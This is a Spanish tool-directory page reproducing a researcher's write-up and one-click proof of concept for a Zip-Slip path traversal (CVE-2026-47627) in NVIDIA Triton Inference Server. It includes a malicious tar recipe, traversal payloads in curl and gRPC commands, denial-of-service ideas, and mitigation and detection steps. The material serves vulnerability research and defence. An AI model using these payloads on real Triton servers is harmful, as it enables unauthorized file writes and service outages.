Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2026-47627 — Prueba de concepto de exploit para CVE-2026-47627, una vulnerabilidad de path traversal en NVIDIA Triton Inference Server que permite la escritura arbitraria de archivos mediante Zip-Slip. Incluye análisis detallado, entorno de laboratorio y scripts de exploit con un solo clic. | Kitploit
Herramientas/GitHubGitHub/anekazek/cve-2026-47627
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubanekazek/cve-2026-47627

cve-2026-47627

Prueba de concepto de exploit para CVE-2026-47627, una vulnerabilidad de path traversal en NVIDIA Triton Inference Server que permite la escritura arbitraria de archivos mediante Zip-Slip. Incluye análisis detallado, entorno de laboratorio y scripts de exploit con un solo clic.

Ver Repositorio
hace 1 díaAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-47627 — NVIDIA Triton Inference Server Path Traversal → DoS (Zip-Slip)

Writeup completo de la investigación y PoC en este repo (imagen nvcr.io/nvidia/tritonserver:26.05-py3 / server v2.69.0). El repo está configurado para estar siempre en modo explicit para que el PoC funcione sin reinicio vía gRPC.


Tabla de Contenidos

  1. Resumen del CVE
  2. Entorno de Laboratorio
  3. Anatomía de la Vulnerabilidad
  4. Análisis de Causa Raíz (Diff 26.05 → 26.06)
  5. Rutas de Explotación: ¿Cuáles Afectan Realmente?
  6. PoC Principal: Zip-Slip vía EXECUTION_ENV_PATH
  7. Cómo Ejecutar el PoC (One-Click)
  8. Evidencia de Traversal (No un 500 Falso)
  9. Impacto DoS
  10. Mitigación
  • Estructura del Repo (Después de la Limpieza)
  • Referencias y Cronología

  • 1. Resumen del CVE

    CampoValor
    CVECVE-2026-47627
    CNA[email protected]
    Publicación2026-08-18 (NVD en Análisis)
    BoletínNV 5865 → https://github.com/NVIDIA/product-security/tree/main/2026/5865
    CVSS 3.19.8 CRÍTICO AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    CWECWE-22 Path Traversal
    Afectado0.0-26.05 (server v2.69.0 / core r26.05)
    Corregido26.06 (server v2.70.0 / core r26.06)
    ImpactoDoS (descripción del CNA) — esta investigación demuestra escritura de archivos fuera de /models vía Zip-Slip, que puede ampliarse a DoS/agotamiento de recursos
    CréditoMartin Brodeur

    Nota honesta: La descripción del CNA solo indica path traversal → DoS sin detalles. Este writeup reconstruye la ubicación del bug mediante el diff r26.05..r26.06 y pruebas directas en el contenedor 26.05-py3.


    2. Entorno de Laboratorio

    Imagen: nvcr.io/nvidia/tritonserver:26.05-py3 (TRITON_VERSION 2.69.0)

    Compose siempre en explicit (ya parcheado en este repo):

    root@kitploit:~
    # docker-compose.yml:12
    command: ["tritonserver", "--model-repository=/models", "--model-control-mode=explicit", "--log-verbose=0"]
    

    run_triton.bat:10, run_triton.ps1:11, run_triton.sh:12 también están en explicit.

    Modo Triton:

    • NONE (predeterminado upstream) → carga una vez al inicio, POST /v2/repository/models/.../load → 503, requiere reinicio para cargar un modelo nuevo.
    • POLL → escanea el repo cada segundo, auto-carga, sigue bloqueando la carga explícita.
    • EXPLICIT (este repo) → no escanea, pero abre gRPC load_model / POST /load → PoC sin reinicio vía gRPC.

    Puertos: | 8000 | HTTP REST | v2/health, v2/models, v2/repository | | 8001 | gRPC | RepositoryModelLoad, ModelInfer | | 8002 | Métricas | Prometheus |

    Modelo inicial:

    root@kitploit:~
    model_repository/
    ├── echo_python/ (backend python, model.py)
    │   └── 1/model.py
    └── identity_onnx/ (onnxruntime, model.onnx ~1KB)
    

    Inicio rápido:

    root@kitploit:~
    docker compose up -d
    docker compose logs -f
    py scripts/client_test.py  # health + infer identity_onnx
    

    3. Anatomía de la Vulnerabilidad

    root@kitploit:~
    Entrada del usuario (model_name / entrada tar) ──► join(parent, child) ──► canonicalize ──► verificar "¿child dentro de parent?" ──► abrir archivo
             │                                    │                     │                         │                     │
             └──► "../tmp/pwn"               /models + "/../tmp/pwn" = /models/../tmp/pwn → /tmp/pwn    rfind vs find + verificación '/'    FileExists / extract
    
    • Si join sin canonicalize o la verificación rfind(parent,0)==0 es incorrecta (coincidencia parcial /models vs /models_evil), entonces ../ puede escapar.
    • DoS ocurre si el archivo atravesado es un FIFO, /dev/zero, /proc/self/mem, o un tar que contiene ../../ que sobrescribe archivos del sistema → cuelgue / OOM / crash.

    Tres preguntas de investigación (del informe inicial):

    1. ¿Dónde controla el usuario la ruta? → model_name en gRPC RepositoryModelLoad, entrada tar EXECUTION_ENV_PATH, override file:, TRITON_BATCH_STRATEGY_PATH.
    2. ¿Cómo se usa la ruta? → posixpath.join(repo, model_name) / temp_dir + "/" + file_name + IsChildPathEscapingParentPath.
    3. ¿Cuál es el impacto? → DoS vía agotamiento de recursos / cuelgue. En este repo se demuestra escritura de archivos en /tmp/poc_marker.

    4. Análisis de Causa Raíz (Diff 26.05 → 26.06)

    Repo core (r26.05..r26.06):

    1. src/filesystem/api.cc:407 IsChildPathEscapingParentPath — fix dcb315d + 72f3d9b:

      root@kitploit:~
      // VULNERABLE (r26.05):
      absolute_child.rfind(absolute_parent,0) != 0
      // → bug de coincidencia parcial: el prefijo "/models" de "/models_evil/file" se considera interno
      
      // CORREGIDO (r26.06):
      canonical_child.find(canonical_parent,0)==0 &&
      ((child.size() > parent.size() && child[parent.size()]=='/') || child.size()==parent.size())
      // → debe haber '/' después del prefijo, "/models_evil" ahora está correctamente fuera
      

      Usado en src/backend_model.cc:196 (TRITON_BATCH_STRATEGY_PATH) y src/model_repository_manager/model_repository_manager.cc:162 (file:).

    2. src/model_repository_manager/model_repository_manager.cc:62 ValidateModelName — core#472/#481 (marzo 2026, ya en 26.05 pero reforzado en 26.06):

      root@kitploit:~
      if (trimmed==".." || trimmed.find('/')!=npos) return INVALID_ARG "must not contain path traversal"
      

      Esto es lo que hace que gRPC load_model('../tmp/pwn') → 400 INVALID_ARGUMENT en 26.05 (ya bloqueado). Pero %2f (/ codificado) pasa porque no es un / literal → 500 de poll literal.

    3. python_be.cc:292 EXECUTION_ENV_PATH — e520f8c7 test zipslip_test.py: El tar se extrae sin verificar .. / rutas absolutas. La entrada ../../poc_marker de /models/poc_exploit/malicious_env.tar.gz se extrae a /tmp/poc_marker (fuera del directorio del modelo). Fix en 26.06: usar ARCHIVE_EXTRACT_SECURE_NODOTDOT|NOABSOLUTEPATHS + verificación IsChildPathEscapingParentPath.

    Repo server (r26.05..r26.06): solo sagemaker_server.cc:1027 (verificación RE2::FullMatch) + http_server.cc:2440 (atoi→stoi), no es la ruta de este CVE.

    Conclusión: La ruta model_name vía HTTP/gRPC ya está bloqueada en 26.05 por ValidateModelName, pero el Zip-Slip del tar no — esto es lo que explota el PoC de este repo.


    5. Rutas de Explotación: ¿Cuáles Afectan Realmente?

    VectorPayloadResultado 26.05¿Afecta?
    HTTP raw ../POST /v2/repository/models/../tmp/pwn/load404 (normalización de ruta)❌
    HTTP codificado ..%2fPOST /v2/repository/models/..%2ftmp%2fpwn/load500 literal, poll /models/..%2ftmp%2fpwn no existe❌ (500 falso, no es traversal)
    gRPC raw ../tmp/pwnload_model('../tmp/pwn')400 INVALID_ARGUMENT❌ (ya bloqueado)
    gRPC codificado ..%2fload_model('..%2ftmp%2fpwn')500 poll literal❌
    Override file: ../models_evilfile:../models_evil/pwn400/500 dependiendo de la coincidencia parcial⚠️ (depende del bug IsChildPathEscapingParentPath, pero ya bloqueado por ValidateModelName para model_name)
    Tar EXECUTION_ENV_PATH ../../poc_markermalicious_env.tar.gz entrada ../../poc_marker200 + archivo en /tmp/poc_marker✅ VULNERABLE

    La analogía 500 vs 400 en el writeup anterior era incorrecta: 500 = archivo no existe (la puerta no está), 400 = rechazado por validación (la puerta está cerrada con llave). Ninguno entra. Solo 200 + archivo en /tmp es evidencia.


    6. PoC Principal: Zip-Slip vía EXECUTION_ENV_PATH

    Idea: El parámetro del backend Python EXECUTION_ENV_PATH apunta a $$TRITON_MODEL_DIRECTORY/malicious_env.tar.gz. Cuando se ejecuta load_model('poc_exploit'), el backend pb_env.cc:292 extrae el tar sin sanitización. La entrada ../../poc_marker escapa de .../poc_exploit/ a /tmp/poc_marker.

    Pasos del PoC (automatizado en scripts/exploit.py:28 y exploit.ps1:20):

    1. Copiar echo_python → poc_exploit (scripts/exploit.py:35)
    2. Añadir config.pbtxt (scripts/exploit.py:40):
      root@kitploit:~
      parameters: {key: "EXECUTION_ENV_PATH", value: {string_value: "$$TRITON_MODEL_DIRECTORY/malicious_env.tar.gz"}}
      
    3. Crear el tar (scripts/exploit.py:44):
      root@kitploit:~
      TarInfo(name='../../poc_marker', size=6, mode=0o644)  # → /tmp/poc_marker
      TarInfo(name='bin/activate', mode=0o755)
      
    4. Disparar gRPC load_model('poc_exploit') (scripts/exploit.py:60) — sin reinicio porque está en explicit.
    5. Verificar docker exec tritonserver-test cat /tmp/poc_marker → pwned (scripts/exploit.py:81)

    7. Cómo Ejecutar el PoC (One-Click)

    Requisitos previos: Docker, imagen 26.05-py3 ya con docker compose up -d (el repo ya está en explicit).

    Python (sin reinicio, vía gRPC):

    root@kitploit:~
    py scripts/exploit.py              # auto-detecta explicit → gRPC
    py scripts/exploit.py --keep       # conserva el artefacto para verificación manual
    # verificación manual: docker exec tritonserver-test cat /tmp/poc_marker
    # limpieza manual: docker exec tritonserver-test rm -f /tmp/poc_marker
    

    PowerShell:

    root@kitploit:~
    powershell -ExecutionPolicy Bypass -File exploit.ps1
    powershell -ExecutionPolicy Bypass -File exploit.ps1 -Keep
    

    Volver a MODE_NONE (si se desea el upstream predeterminado):

    root@kitploit:~
    # editar docker-compose.yml:12 eliminar --model-control-mode=explicit
    docker compose up -d --force-recreate
    

    Prueba de bloqueo (debe dar 400/404/500, no 200):

    root@kitploit:~
    py scripts/test_http_grpc_blocked.py  # estaba en el repo anterior, ahora eliminado — usar el log de exploit.py
    # o manual:
    curl -i -X POST http://127.0.0.1:8000/v2/repository/models/..%2ftmp%2fpwn/load -H "Content-Type: application/json" -d "{}"  # 500
    py -3 -c "import tritonclient.grpc as g; g.InferenceServerClient('127.0.0.1:8001').load_model('../tmp/pwn')"  # 400
    

    8. Evidencia de Traversal (No un 500 Falso)

    Vulnerable (26.05) — salida de exploit.py:

    root@kitploit:~
    [*] Disparando exploit vía gRPC load (sin reinicio)...
    [+] Envío de gRPC load completado
    [+] VULNERABLE: /tmp/poc_marker existe fuera de /models
        cat: pwned
    [+] Exploit exitoso — escritura de archivo fuera del repositorio confirmada
    

    Verificación:

    root@kitploit:~
    docker exec tritonserver-test ls -l /tmp/poc_marker  # -rw-r--r-- 1 root root 6 ... /tmp/poc_marker
    docker exec tritonserver-test cat /tmp/poc_marker   # pwned
    docker logs tritonserver-test --tail 20 | grep Extracting  # Extracting Python execution env .../malicious_env.tar.gz
    

    Parcheado (26.06) — esperado:

    root@kitploit:~
    [-] No vulnerable: /tmp/poc_marker no encontrado
    # log: Path contains '..'  (o Path is absolute)
    

    HTTP/gRPC .. debe dar 400, no 500:

    root@kitploit:~
    # 26.05 gRPC raw ../ → 400 INVALID_ARGUMENT (ya bloqueado por ValidateModelName)
    # 26.05 gRPC ..%2f → 500 poll literal (bypass de validación pero no es traversal real)
    # 26.06 ambos → 400
    

    9. Impacto DoS

    El CNA indica DoS, pero este Zip-Slip puede hacer sobrescritura de archivos → DoS:

    • Sobrescribir model.py / config.pbtxt de otro modelo → el modelo falla al cargar → 503
    • Tar que contiene un bin/activate grande o FIFO /tmp/fifo → cuelga el hilo pb_env.cc → UNAVAILABLE
    • Inundar load_model con tar ../../dev/zero (infinito) → OOM

    Este repo se centra en la escritura de archivos como evidencia del traversal; el DoS puede ampliarse con un tar que contenga 1/model.py con bucle infinito.


    10. Mitigación

    1. Parche: 26.06 (server v2.70.0, core r26.06) — IsChildPathEscapingParentPath + ARCHIVE_EXTRACT_SECURE_NODOTDOT.
    2. Workaround 26.05:
      • No exponer 8000/8001 a internet (proxy inverso + autenticación)
      • WAF que bloquee .. y %2f en URL y EXECUTION_ENV_PATH
      • Deshabilitar EXECUTION_ENV_PATH del backend Python si no es necesario
    3. Detección: docker logs tritonserver-test | grep "Path contains\|failed to poll.*%2f"

    11. Estructura del Repo (Después de la Limpieza)

    root@kitploit:~
    .
    ├── model_repository/
    │   ├── echo_python/          # ejemplo de backend python
    │   └── identity_onnx/        # ejemplo de onnxruntime
    ├── scripts/
    │   ├── exploit.py:1          # PoC principal (Python, oneclick, gRPC, sin reinicio)
    │   ├── generate_model.py     # regenerar identity_onnx
    │   └── client_test.py        # prueba de health + infer
    ├── exploit.ps1:1             # PoC principal (PowerShell, oneclick)
    ├── docker-compose.yml:12     # siempre en explicit
    ├── run_triton.bat:10 / .ps1:11 / .sh:12  # siempre en explicit
    ├── requirements.txt          # numpy, onnx, requests, tritonclient[http,grpc], grpcio, protobuf
    └── README.md                 # este writeup
    

    Eliminados: exploit_cve_*.py, poc_zipslip_simple.py, check_mode.py, test_http_grpc_blocked.py, cleanup_poc.py, test_poc.ps1, null, model_repository/zipslip_*, /tmp/poc_marker.


    12. Referencias y Cronología

    • Boletín NV 5865: https://github.com/NVIDIA/product-security/tree/main/2026/5865 (5865.md, CVE-2026-47627.json)
    • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-47627 (En Análisis)
    • Commits de fix core r26.06: dcb315d (Modernize Child Path), 72f3d9b (test de child path), e520f8c7 (test zipslip), 50830ba/66f09f8 (ValidateModelName)
    • Fix server r26.06: v2.70.0 (690f9dd)
    • Crédito: Martin Brodeur
    FechaEvento
    2026-03-03core#472 ValidateModelName
    2026-03-16core#481 trim POSIX
    2026-05-18core#497 IsChildPathEscapingParentPath
    2026-06-02server#8857 test zipslip
    2026-06-2626.06 / v2.70.0 lanzamiento del parche
    2026-08-18Publicación del CVE
    2026-09-02Repo PoC verificado en 26.05-py3 → VULNERABLE

    Notas

    Este PoC es para educación y laboratorio cerrado. No expongas 8000/8001 sin autenticación. Siempre ejecuta exploit.py --keep y luego docker exec tritonserver-test rm -f /tmp/poc_marker y Remove-Item -Recurse model_repository/poc_exploit después de la demo.

    Descargar herramienta